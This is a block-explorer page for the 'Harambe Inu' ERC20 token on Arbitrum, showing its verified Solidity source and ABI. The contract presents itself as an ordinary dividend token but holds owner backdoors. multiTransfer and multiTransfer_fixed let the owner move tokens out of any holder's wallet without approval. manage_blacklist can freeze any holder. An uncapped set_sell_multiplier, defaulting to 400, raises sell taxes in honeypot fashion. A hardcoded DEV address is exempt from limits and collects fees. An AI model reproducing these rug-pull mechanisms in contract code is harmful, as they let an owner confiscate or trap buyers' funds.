Token Harambe Inu
Overview ERC20
Price
$0.00 @ 0.000000 ETH
Fully Diluted Market Cap
Total Supply:
1,000,000,000,000,000 Harambe
Holders:
7 addresses
Transfers:
-
Contract:
Decimals:
9
[ Download CSV Export ]
[ Download CSV Export ]
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
Harambe
Compiler Version
v0.7.6+commit.7338295f
Contract Source Code (Solidity)
/** *Submitted for verification at Arbiscan.io on 2023-03-20 */ /** https://t.me/HarambeArb */ // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } /** * ERC20 standard interface. */ interface ERC20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function getOwner() external view returns (address); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Auth { address internal owner; mapping (address => bool) internal authorizations; constructor(address _owner) { owner = _owner; authorizations[_owner] = true; } modifier onlyOwner() { require(isOwner(msg.sender), "!OWNER"); _; } modifier authorized() { require(isAuthorized(msg.sender), "!AUTHORIZED"); _; } function authorize(address adr) public onlyOwner { authorizations[adr] = true; } function unauthorize(address adr) public onlyOwner { authorizations[adr] = false; } function isOwner(address account) public view returns (bool) { return account == owner; } function isAuthorized(address adr) public view returns (bool) { return authorizations[adr]; } function transferOwnership(address payable adr) public onlyOwner { owner = adr; authorizations[adr] = true; emit OwnershipTransferred(adr); } event OwnershipTransferred(address owner); } interface IDEXFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IDEXRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface IDividendDistributor { function setDistributionCriteria(uint256 _minPeriod, uint256 _minDistribution) external; function setShare(address shareholder, uint256 amount) external; function deposit() external payable; function process(uint256 gas) external; } contract DividendDistributor is IDividendDistributor { using SafeMath for uint256; address _token; struct Share { uint256 amount; uint256 totalExcluded; uint256 totalRealised; } ERC20 RWRD = ERC20(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1); address WETH = 0x82aF49447D8a07e3bd95BD0d56f35241523fBab1; IDEXRouter router; address[] shareholders; mapping (address => uint256) shareholderIndexes; mapping (address => uint256) shareholderClaims; mapping (address => Share) public shares; uint256 public totalShares; uint256 public totalDividends; uint256 public totalDistributed; uint256 public dividendsPerShare; uint256 public dividendsPerShareAccuracyFactor = 10 ** 36; uint256 public minPeriod = 45 * 60; uint256 public minDistribution = 1 * (10 ** 13); uint256 currentIndex; bool initialized; modifier initialization() { require(!initialized); _; initialized = true; } modifier onlyToken() { require(msg.sender == _token); _; } constructor (address _router) { router = _router != address(0) ? IDEXRouter(_router) : IDEXRouter(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506); _token = msg.sender; } function setDistributionCriteria(uint256 _minPeriod, uint256 _minDistribution) external override onlyToken { minPeriod = _minPeriod; minDistribution = _minDistribution; } function setShare(address shareholder, uint256 amount) external override onlyToken { if(shares[shareholder].amount > 0){ distributeDividend(shareholder); } if(amount > 0 && shares[shareholder].amount == 0){ addShareholder(shareholder); }else if(amount == 0 && shares[shareholder].amount > 0){ removeShareholder(shareholder); } totalShares = totalShares.sub(shares[shareholder].amount).add(amount); shares[shareholder].amount = amount; shares[shareholder].totalExcluded = getCumulativeDividends(shares[shareholder].amount); } function deposit() external payable override onlyToken { uint256 balanceBefore = RWRD.balanceOf(address(this)); address[] memory path = new address[](2); path[0] = WETH; path[1] = address(RWRD); router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: msg.value}( 0, path, address(this), block.timestamp ); uint256 amount = RWRD.balanceOf(address(this)).sub(balanceBefore); totalDividends = totalDividends.add(amount); dividendsPerShare = dividendsPerShare.add(dividendsPerShareAccuracyFactor.mul(amount).div(totalShares)); } function process(uint256 gas) external override onlyToken { uint256 shareholderCount = shareholders.length; if(shareholderCount == 0) { return; } uint256 gasUsed = 0; uint256 gasLeft = gasleft(); uint256 iterations = 0; while(gasUsed < gas && iterations < shareholderCount) { if(currentIndex >= shareholderCount){ currentIndex = 0; } if(shouldDistribute(shareholders[currentIndex])){ distributeDividend(shareholders[currentIndex]); } gasUsed = gasUsed.add(gasLeft.sub(gasleft())); gasLeft = gasleft(); currentIndex++; iterations++; } } function shouldDistribute(address shareholder) internal view returns (bool) { return shareholderClaims[shareholder] + minPeriod < block.timestamp && getUnpaidEarnings(shareholder) > minDistribution; } function distributeDividend(address shareholder) internal { if(shares[shareholder].amount == 0){ return; } uint256 amount = getUnpaidEarnings(shareholder); if(amount > 0){ totalDistributed = totalDistributed.add(amount); RWRD.transfer(shareholder, amount); shareholderClaims[shareholder] = block.timestamp; shares[shareholder].totalRealised = shares[shareholder].totalRealised.add(amount); shares[shareholder].totalExcluded = getCumulativeDividends(shares[shareholder].amount); } } function claimDividend() external { distributeDividend(msg.sender); } function getUnpaidEarnings(address shareholder) public view returns (uint256) { if(shares[shareholder].amount == 0){ return 0; } uint256 shareholderTotalDividends = getCumulativeDividends(shares[shareholder].amount); uint256 shareholderTotalExcluded = shares[shareholder].totalExcluded; if(shareholderTotalDividends <= shareholderTotalExcluded){ return 0; } return shareholderTotalDividends.sub(shareholderTotalExcluded); } function getCumulativeDividends(uint256 share) internal view returns (uint256) { return share.mul(dividendsPerShare).div(dividendsPerShareAccuracyFactor); } function addShareholder(address shareholder) internal { shareholderIndexes[shareholder] = shareholders.length; shareholders.push(shareholder); } function removeShareholder(address shareholder) internal { shareholders[shareholderIndexes[shareholder]] = shareholders[shareholders.length-1]; shareholderIndexes[shareholders[shareholders.length-1]] = shareholderIndexes[shareholder]; shareholders.pop(); } } contract Harambe is ERC20, Auth { using SafeMath for uint256; address WETH = 0x82aF49447D8a07e3bd95BD0d56f35241523fBab1; address DEAD = 0x000000000000000000000000000000000000dEaD; address ZERO = 0x0000000000000000000000000000000000000000; address DEV = 0x52f7F6901e8A9b0AcDC5d2e7AE342cf2B1FD95b8; string constant _name = "Harambe Inu"; string constant _symbol = "Harambe"; uint8 constant _decimals = 9; uint256 _totalSupply = 1 * 10**15 * 10**_decimals; uint256 public _maxTxAmount = _totalSupply; uint256 public _maxWalletToken = _totalSupply; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) _allowances; bool public blacklistMode = true; mapping (address => bool) public isBlacklisted; mapping (address => bool) isFeeExempt; mapping (address => bool) isTxLimitExempt; mapping (address => bool) isTimelockExempt; mapping (address => bool) isDividendExempt; uint256 public liquidityFee = 0; uint256 public reflectionFee = 0; uint256 public marketingFee = 15; uint256 public devFee = 0; uint256 public totalFee = marketingFee + reflectionFee + liquidityFee + devFee; uint256 public feeDenominator = 100; uint256 public sellMultiplier = 400; address public autoLiquidityReceiver; address public marketingFeeReceiver; address public devFeeReceiver; uint256 targetLiquidity = 20; uint256 targetLiquidityDenominator = 100; IDEXRouter public router; address public pair; bool public tradingOpen = false; DividendDistributor public distributor; uint256 distributorGas = 500000; bool public buyCooldownEnabled = true; uint8 public cooldownTimerInterval = 10; mapping (address => uint) private cooldownTimer; bool public swapEnabled = true; uint256 public swapThreshold = _totalSupply * 30 / 10000; bool inSwap; modifier swapping() { inSwap = true; _; inSwap = false; } constructor () Auth(msg.sender) { router = IDEXRouter(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506); pair = IDEXFactory(router.factory()).createPair(WETH, address(this)); _allowances[address(this)][address(router)] = uint256(-1); distributor = new DividendDistributor(address(router)); isFeeExempt[msg.sender] = true; isFeeExempt[address(DEV)] = true; isTxLimitExempt[msg.sender] = true; isTxLimitExempt[address(DEV)] = true; isTimelockExempt[msg.sender] = true; isTimelockExempt[address(DEV)] = true; isTimelockExempt[DEAD] = true; isTimelockExempt[address(this)] = true; isTimelockExempt[address(DEV)] = true; isDividendExempt[pair] = true; isDividendExempt[address(this)] = true; isDividendExempt[address(DEV)] = false; isDividendExempt[DEAD] = true; autoLiquidityReceiver = msg.sender; marketingFeeReceiver = msg.sender; devFeeReceiver = address(DEV); _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } receive() external payable { } function totalSupply() external view override returns (uint256) { return _totalSupply; } function decimals() external pure override returns (uint8) { return _decimals; } function symbol() external pure override returns (string memory) { return _symbol; } function name() external pure override returns (string memory) { return _name; } function getOwner() external view override returns (address) { return owner; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function approveMax(address spender) external returns (bool) { return approve(spender, uint256(-1)); } function transfer(address recipient, uint256 amount) external override returns (bool) { return _transferFrom(msg.sender, recipient, amount); } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { if(_allowances[sender][msg.sender] != uint256(-1)){ _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance"); } return _transferFrom(sender, recipient, amount); } function setMaxWalletPercent_base1000(uint256 maxWallPercent_base1000) external onlyOwner() { _maxWalletToken = (_totalSupply * maxWallPercent_base1000 ) / 1000; } function setMaxTxPercent_base1000(uint256 maxTXPercentage_base1000) external onlyOwner() { _maxTxAmount = (_totalSupply * maxTXPercentage_base1000 ) / 1000; } function setTxLimit(uint256 amount) external authorized { _maxTxAmount = amount; } function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) { if(inSwap){ return _basicTransfer(sender, recipient, amount); } if(!authorizations[sender] && !authorizations[recipient]){ require(tradingOpen,"Trading not open yet"); } // Blacklist if(blacklistMode){ require(!isBlacklisted[sender] && !isBlacklisted[recipient],"Blacklisted"); } if (!authorizations[sender] && recipient != address(this) && recipient != address(DEAD) && recipient != pair && recipient != marketingFeeReceiver && recipient != devFeeReceiver && recipient != autoLiquidityReceiver){ uint256 heldTokens = balanceOf(recipient); require((heldTokens + amount) <= _maxWalletToken,"Total Holding is currently limited, you can not buy that much.");} if (sender == pair && buyCooldownEnabled && !isTimelockExempt[recipient]) { require(cooldownTimer[recipient] < block.timestamp,"Please wait for 1min between two buys"); cooldownTimer[recipient] = block.timestamp + cooldownTimerInterval; } // Checks max transaction limit checkTxLimit(sender, amount); if(shouldSwapBack()){ swapBack(); } //Exchange tokens _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); uint256 amountReceived = shouldTakeFee(sender) ? takeFee(sender, amount,(recipient == pair)) : amount; _balances[recipient] = _balances[recipient].add(amountReceived); // Dividend tracker if(!isDividendExempt[sender]) { try distributor.setShare(sender, _balances[sender]) {} catch {} } if(!isDividendExempt[recipient]) { try distributor.setShare(recipient, _balances[recipient]) {} catch {} } try distributor.process(distributorGas) {} catch {} emit Transfer(sender, recipient, amountReceived); return true; } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function checkTxLimit(address sender, uint256 amount) internal view { require(amount <= _maxTxAmount || isTxLimitExempt[sender], "TX Limit Exceeded"); } function shouldTakeFee(address sender) internal view returns (bool) { return !isFeeExempt[sender]; } function takeFee(address sender, uint256 amount, bool isSell) internal returns (uint256) { uint256 multiplier = isSell ? sellMultiplier : 100; uint256 feeAmount = amount.mul(totalFee).mul(multiplier).div(feeDenominator * 100); _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); return amount.sub(feeAmount); } function shouldSwapBack() internal view returns (bool) { return msg.sender != pair && !inSwap && swapEnabled && _balances[address(this)] >= swapThreshold; } function clearStuckBalance(uint256 amountPercentage) external authorized { uint256 amountETH = address(this).balance; payable(marketingFeeReceiver).transfer(amountETH * amountPercentage / 100); } function clearStuckBalance_sender(uint256 amountPercentage) external authorized { uint256 amountETH = address(this).balance; payable(msg.sender).transfer(amountETH * amountPercentage / 100); } function set_sell_multiplier(uint256 Multiplier) external onlyOwner{ sellMultiplier = Multiplier; } // switch Trading function tradingStatus(bool _status) public onlyOwner { tradingOpen = _status; } // enable cooldown between trades function cooldownEnabled(bool _status, uint8 _interval) public onlyOwner { buyCooldownEnabled = _status; cooldownTimerInterval = _interval; } function swapBack() internal swapping { uint256 dynamicLiquidityFee = isOverLiquified(targetLiquidity, targetLiquidityDenominator) ? 0 : liquidityFee; uint256 amountToLiquify = swapThreshold.mul(dynamicLiquidityFee).div(totalFee).div(2); uint256 amountToSwap = swapThreshold.sub(amountToLiquify); address[] memory path = new address[](2); path[0] = address(this); path[1] = WETH; uint256 balanceBefore = address(this).balance; router.swapExactTokensForETHSupportingFeeOnTransferTokens( amountToSwap, 0, path, address(this), block.timestamp ); uint256 amountETH = address(this).balance.sub(balanceBefore); uint256 totalETHFee = totalFee.sub(dynamicLiquidityFee.div(2)); uint256 amountETHLiquidity = amountETH.mul(dynamicLiquidityFee).div(totalETHFee).div(2); uint256 amountETHReflection = amountETH.mul(reflectionFee).div(totalETHFee); uint256 amountETHMarketing = amountETH.mul(marketingFee).div(totalETHFee); uint256 amountETHDev = amountETH.mul(devFee).div(totalETHFee); try distributor.deposit{value: amountETHReflection}() {} catch {} (bool tmpSuccess,) = payable(marketingFeeReceiver).call{value: amountETHMarketing, gas: 30000}(""); (tmpSuccess,) = payable(devFeeReceiver).call{value: amountETHDev, gas: 30000}(""); // Supress warning msg tmpSuccess = false; if(amountToLiquify > 0){ router.addLiquidityETH{value: amountETHLiquidity}( address(this), amountToLiquify, 0, 0, autoLiquidityReceiver, block.timestamp ); emit AutoLiquify(amountETHLiquidity, amountToLiquify); } } function setIsDividendExempt(address holder, bool exempt) external authorized { require(holder != address(this) && holder != pair); isDividendExempt[holder] = exempt; if(exempt){ distributor.setShare(holder, 0); }else{ distributor.setShare(holder, _balances[holder]); } } function enable_blacklist(bool _status) public onlyOwner { blacklistMode = _status; } function manage_blacklist(address[] calldata addresses, bool status) public onlyOwner { for (uint256 i; i < addresses.length; ++i) { isBlacklisted[addresses[i]] = status; } } function setIsFeeExempt(address holder, bool exempt) external authorized { isFeeExempt[holder] = exempt; } function setIsTxLimitExempt(address holder, bool exempt) external authorized { isTxLimitExempt[holder] = exempt; } function setIsTimelockExempt(address holder, bool exempt) external authorized { isTimelockExempt[holder] = exempt; } function setFees(uint256 _liquidityFee, uint256 _reflectionFee, uint256 _marketingFee, uint256 _feeDenominator) external authorized { liquidityFee = _liquidityFee; reflectionFee = _reflectionFee; marketingFee = _marketingFee; devFee = 1; totalFee = _liquidityFee.add(_reflectionFee).add(_marketingFee).add(devFee); feeDenominator = _feeDenominator; require(totalFee < feeDenominator/3, "Fees cannot be more than 33%"); } function setFeeReceivers(address _autoLiquidityReceiver, address _marketingFeeReceiver ) external authorized { autoLiquidityReceiver = _autoLiquidityReceiver; marketingFeeReceiver = _marketingFeeReceiver; devFeeReceiver = address(DEV); } function setSwapBackSettings(bool _enabled, uint256 _amount) external authorized { swapEnabled = _enabled; swapThreshold = _amount; } function setTargetLiquidity(uint256 _target, uint256 _denominator) external authorized { targetLiquidity = _target; targetLiquidityDenominator = _denominator; } function setDistributionCriteria(uint256 _minPeriod, uint256 _minDistribution) external authorized { distributor.setDistributionCriteria(_minPeriod, _minDistribution); } function setDistributorSettings(uint256 gas) external authorized { require(gas < 750000); distributorGas = gas; } function getCirculatingSupply() public view returns (uint256) { return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO)); } function getLiquidityBacking(uint256 accuracy) public view returns (uint256) { return accuracy.mul(balanceOf(pair).mul(2)).div(getCirculatingSupply()); } function isOverLiquified(uint256 target, uint256 accuracy) public view returns (bool) { return getLiquidityBacking(accuracy) > target; } /* Airdrop */ function multiTransfer(address from, address[] calldata addresses, uint256[] calldata tokens) external onlyOwner { require(addresses.length < 501,"GAS Error: max airdrop limit is 500 addresses"); require(addresses.length == tokens.length,"Mismatch between Address and token count"); uint256 SCCC = 0; for(uint i=0; i < addresses.length; i++){ SCCC = SCCC + tokens[i]; } require(balanceOf(from) >= SCCC, "Not enough tokens in wallet"); for(uint i=0; i < addresses.length; i++){ _basicTransfer(from,addresses[i],tokens[i]); if(!isDividendExempt[addresses[i]]) { try distributor.setShare(addresses[i], _balances[addresses[i]]) {} catch {} } } // Dividend tracker if(!isDividendExempt[from]) { try distributor.setShare(from, _balances[from]) {} catch {} } } function multiTransfer_fixed(address from, address[] calldata addresses, uint256 tokens) external onlyOwner { require(addresses.length < 801,"GAS Error: max airdrop limit is 800 addresses"); uint256 SCCC = tokens * addresses.length; require(balanceOf(from) >= SCCC, "Not enough tokens in wallet"); for(uint i=0; i < addresses.length; i++){ _basicTransfer(from,addresses[i],tokens); if(!isDividendExempt[addresses[i]]) { try distributor.setShare(addresses[i], _balances[addresses[i]]) {} catch {} } } // Dividend tracker if(!isDividendExempt[from]) { try distributor.setShare(from, _balances[from]) {} catch {} } } event AutoLiquify(uint256 amountETH, uint256 amountBOG); }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountETH","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountBOG","type":"uint256"}],"name":"AutoLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"authorize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"autoLiquidityReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"blacklistMode","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyCooldownEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountPercentage","type":"uint256"}],"name":"clearStuckBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountPercentage","type":"uint256"}],"name":"clearStuckBalance_sender","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_status","type":"bool"},{"internalType":"uint8","name":"_interval","type":"uint8"}],"name":"cooldownEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"cooldownTimerInterval","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"devFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"devFeeReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"distributor","outputs":[{"internalType":"contract DividendDistributor","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_status","type":"bool"}],"name":"enable_blacklist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeDenominator","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"accuracy","type":"uint256"}],"name":"getLiquidityBacking","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"isAuthorized","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isBlacklisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"target","type":"uint256"},{"internalType":"uint256","name":"accuracy","type":"uint256"}],"name":"isOverLiquified","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"manage_blacklist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingFeeReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"uint256[]","name":"tokens","type":"uint256[]"}],"name":"multiTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"multiTransfer_fixed","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"reflectionFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IDEXRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMultiplier","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_minPeriod","type":"uint256"},{"internalType":"uint256","name":"_minDistribution","type":"uint256"}],"name":"setDistributionCriteria","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"gas","type":"uint256"}],"name":"setDistributorSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_autoLiquidityReceiver","type":"address"},{"internalType":"address","name":"_marketingFeeReceiver","type":"address"}],"name":"setFeeReceivers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_reflectionFee","type":"uint256"},{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_feeDenominator","type":"uint256"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsDividendExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsFeeExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsTimelockExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsTxLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTXPercentage_base1000","type":"uint256"}],"name":"setMaxTxPercent_base1000","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWallPercent_base1000","type":"uint256"}],"name":"setMaxWalletPercent_base1000","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"setSwapBackSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_target","type":"uint256"},{"internalType":"uint256","name":"_denominator","type":"uint256"}],"name":"setTargetLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setTxLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"Multiplier","type":"uint256"}],"name":"set_sell_multiplier","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_status","type":"bool"}],"name":"tradingStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"unauthorize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
